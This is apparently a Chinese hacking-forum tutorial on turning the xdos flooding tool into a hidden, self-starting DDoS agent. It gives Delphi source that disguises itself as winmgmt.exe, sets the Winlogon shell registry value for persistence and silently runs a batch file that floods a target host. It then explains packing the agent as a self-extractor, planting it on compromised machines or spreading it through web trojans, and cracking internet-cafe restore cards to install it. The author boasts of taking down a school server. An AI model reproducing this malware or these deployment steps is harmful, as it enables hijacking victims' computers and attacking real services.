xdos攻击效果是比较好的了，但是我们要做的是让他象教主的僵尸那样，放在很多肉鸡上运行，自动攻击目标服务器。xdos运行有cmd窗口，我们可以用delphi写个小程序让他隐藏窗口，并且实现开机自启动。 下面是源代码，很简单，编译成winmgmt.exe program Project1; uses SysUtils, windows, system, shellapi; var buf:array[0..max_path] of char ; function regs(key:Hkey; subkey,name,value:string):boolean; var regkey:hkey; begin result := false; RegCreateKey(key,PChar(subkey),regkey); //根键,路径, if RegSetValueEx(regkey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then   result := true; RegCloseKey(regkey); end; begin getsystemdirectory(buf,max_path); //copyfile(pchar(’run.bat’),pchar(buf+’\run.bat’), FALSE); //copyfile(pchar(’mslta.exe’),pchar(buf+’\mslta.exe’), FALSE); //copyfile(pchar(’winmgmt.exe’),pchar(buf+’\winmgmt.exe’), FALSE); regs(HKEY_LOCAL_MACHINE,’Software\Microsoft\Windows NT\CurrentVersion\Winlogon’,’shell’,’Explorer.exe ’+buf+’\winmgmt.exe’); //根键,路径,子键,键值. ShellExecute(0,’open’,pchar(buf+’\run.bat’),nil,nil,SW_hide); end. 可以看到是写到注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \CurrentVersion\Winlogon下面shell键值实现自启动， 通过ShellExecute(0,’open’,pchar(buf+’\run.bat’),nil,nil,SW_hide);这一句。 隐藏运行system32下面的run.bat。 比如其run.bat内容如下： mslta.exe www.hacker.conm.cn 80 -t 20 -s * mslta.exe就是同目录下面的xdos工具了，改个名而已。 这样写好之后，用winrar做成自解压工具，相信大家都很熟练了。 解压路径写上： %Systemroot%/system32/ 解压后运行：%Systemroot%/system32/winmgmt.exe 这样根据就做好。如果你有pcshare之类的很多肉鸡，你就可全部被他种上实现ddos. 也可以做成网页 木马 ，让种马者来集体ddos攻击。 如果你喜欢上网吧，你可以把网吧的还原卡密码破了，装上几台来ddos.网吧网速很快，带宽大，效果也可以，上网的人也大部分是只知道玩游戏的家伙。 以上方法很简单，也有缺点，如有进程，无法远程卸载，可能导致无法控制局面。 在肉鸡上运行后，没有任何窗口啊什么的，不过cpu占用率会上升，如果机器差，影响会很大。 不过效果还可以，我用两台机器国际我们学校服务器，网站就打不开了，即使打开了也特别慢。